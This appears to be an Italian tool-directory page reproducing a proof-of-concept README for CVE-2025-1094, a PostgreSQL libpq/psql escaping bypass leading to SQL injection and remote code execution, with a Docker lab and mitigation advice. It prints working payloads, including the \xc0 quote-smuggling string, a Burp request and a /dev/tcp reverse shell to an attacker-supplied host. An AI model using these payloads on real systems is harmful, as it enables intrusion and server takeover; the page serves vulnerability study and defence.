Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2025-1094 — Exploit proof-of-concept per CVE-2025-1094, una SQL injection in PostgreSQL psql che porta a RCE tramite bypass di escaping libpq. Include ambiente Docker, script di exploit e indicazioni di mitigazione. | Kitploit
Strumenti/GitHubGitHub/trandonga3/poc-cve-2025-1094
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Exploit proof-of-concept per CVE-2025-1094, una SQL injection in PostgreSQL psql che porta a RCE tramite bypass di escaping libpq. Include ambiente Docker, script di exploit e indicazioni di mitigazione.

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC CVE-2025-1094: PostgreSQL psql SQL Injection

Proof of Concept per la vulnerabilità di SQL Injection critica nel client libpq di PostgreSQL e nello strumento psql

📋 Indice

  1. Introduzione alla vulnerabilità
  2. Struttura delle directory del progetto
  3. Analisi del payload d'attacco
  4. Guida all'uso
  5. Mitigazione e prevenzione

1. Introduzione alla vulnerabilità

Descrizione generale

CVE-2025-1094 è una vulnerabilità critica nella libreria client libpq e nello strumento a riga di comando psql di PostgreSQL. Questa vulnerabilità consente a un attaccante di effettuare SQL Injection e di escalare a Remote Code Execution (RCE) anche quando l'applicazione utilizza funzioni standard di escaping delle stringhe come PQescapeLiteral.

Causa principale

L'errore deriva da una mancata coerenza nella gestione di sequenze di byte multibyte (multibyte) non valide (come UTF-8) tra la libreria di escaping e il parser di psql.

Due meccanismi d'attacco principali:

1. Bypass dell'Escaping

  • La funzione PQescapeLiteral viene ingannata da un "byte nuovo" (ad esempio 0xC0)
  • Considera questo byte e l'apostrofo (') successivo come un unico carattere
  • Porta a non eseguire l'escaping di quell'apostrofo

2. RCE tramite Meta-comandi

  • Quando la stringa erronea viene inserita nello strumento psql
  • L'attaccante può uscire dall'istruzione SQL e utilizzare il comando di sistema \! di psql
  • Permette di eseguire comandi shell arbitrari sul server

2. Struttura delle directory del progetto

Il progetto è organizzato per simulare un ambiente reale in cui viene chiamata la funzione C libpq:

root@kitploit:~
.
├── docker-compose.yml       # Avvia PostgreSQL + Web App
├── exolit.py               # Script di exploit - Attacco dall'esterno
├── README.md               # Questo documento
└── app/
    ├── app.py             # Flask Web App - Riceve input utente
    ├── Dockerfile         # Crea immagine con codice vulnerabile
    └── init_db.sql        # Inizializza database

Componenti principali:

  • Flask Web App: Riceve input dall'utente tramite endpoint /search
  • Funzione C libpq: Elabora la query SQL ma non verifica byte validi
  • Meta-comandi psql: Consentono l'esecuzione di comandi di sistema tramite \!
  • Subprocess Pipe: L'applicazione invia l'istruzione SQL a psql tramite stream di input

3. Analisi del payload d'attacco

Payload di esempio

root@kitploit:~
hax\xc0'; \! id; #

Decodifica di ogni componente:

ComponenteValoreSignificato
Input datihaxDati normali
Byte nuovo\xc0Byte UTF-8 non valido - bypass dell'escaping
Apostrofo'Apostrofo "nascosto" - supera il filtro
Fine SQL;Termina l'istruzione SQL corrente
Meta-comando\!Comando speciale di psql - esce dalla shell del sistema operativo
Comando shellidComando da eseguire (sostituibile con reverse shell)
Commento#Commento SQL - disabilita il resto

Processo di esecuzione:

root@kitploit:~
1. Input utente: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() non riconosce \xc0 + ' come attacco
   ↓
3. La stringa viene inviata a psql: hax\xc0'; \! id; #
   ↓
4. psql analizza: la sequenza \xc0 viene considerata fine stringa
   ↓
5. Il meta-comando \! viene attivato
   ↓
6. Il comando shell id viene eseguito con i permessi del container

4. Guida all'uso

Metodo 1: Utilizzo di Docker Compose (Consigliato)

Passo 1: Avviare l'ambiente

root@kitploit:~
docker-compose up -d

Passo 2: Attendere l'avvio dei container

root@kitploit:~
docker-compose ps

Assicurarsi che sia PostgreSQL che l'app Flask siano in esecuzione.

Passo 3: Eseguire l'exploit

root@kitploit:~
python exolit.py

Risultato atteso: Verranno visualizzate informazioni uid=0(root) ottenute dal server

Passo 4: Fermare l'ambiente

root@kitploit:~
docker-compose down

Metodo 2: Utilizzo di Burp Suite (Manuale)

Inviare una richiesta HTTP

Inviare una richiesta POST a /search con il seguente body:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

Riferimenti per URL Encoding:

  • %c0 = \xc0 (byte UTF-8 non valido)
  • %27 = ' (apostrofo)
  • %23 = # (cancelletto)
  • + = spazio

Payload Reverse Shell:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Nota: Sostituire <ip-hacker> e <port-hacker> con IP e porta della macchina attaccante

5. Mitigazione e prevenzione

A. Applicare le patch

Aggiornare PostgreSQL alle versioni patchate:

VersioneVersione sicura
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Verificare la codifica

Convalidare sempre che i dati di input siano UTF-8 validi prima di elaborarli:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limitare l'uso di psql CLI

Nella programmazione delle applicazioni, utilizzare le librerie driver ufficiali:

root@kitploit:~
# ❌ NO: Usare subprocess con psql
subprocess.run(['psql', '-c', user_input])

# ✅ SÌ: Usare query parametrizzate con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Principio del minimo privilegio

  • Non eseguire l'app Web come root
  • Non eseguire il database come root
  • Utilizzare un utente dedicato con privilegi minimi

E. Regole WAF / IDS

Impostare regole per rilevare i pattern:

root@kitploit:~
- Byte 0xC0, 0xC1 nel corpo della richiesta
- Meta-comando `\!` nell'input utente
- Stringhe come `; \!` o `' \!`

📚 Riferimenti

  1. Link al file sorgente (Prima della patch) È possibile visualizzare il file src/interfaces/libpq/fe-exec.c nella versione 17.2 (versione ancora vulnerabile):

    • Link GitHub: PostgreSQL fe-exec.c al tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Funzione importante: Cercare la funzione PQescapeStringInternal (di solito intorno alla riga 3400). Questa è la funzione "core" chiamata sia da PQescapeLiteral che da PQescapeString.

  2. Visualizzare "La Patch" (The Patch) - Fondamentale per White-box Per capire perché si è verificato l'errore e come è stato corretto, il metodo migliore è visualizzare il Commit Diff (la differenza tra versione vulnerabile e patch).

    • Link Commit ufficiale: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)

  3. Analisi della vulnerabilità : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Scarica lo strumento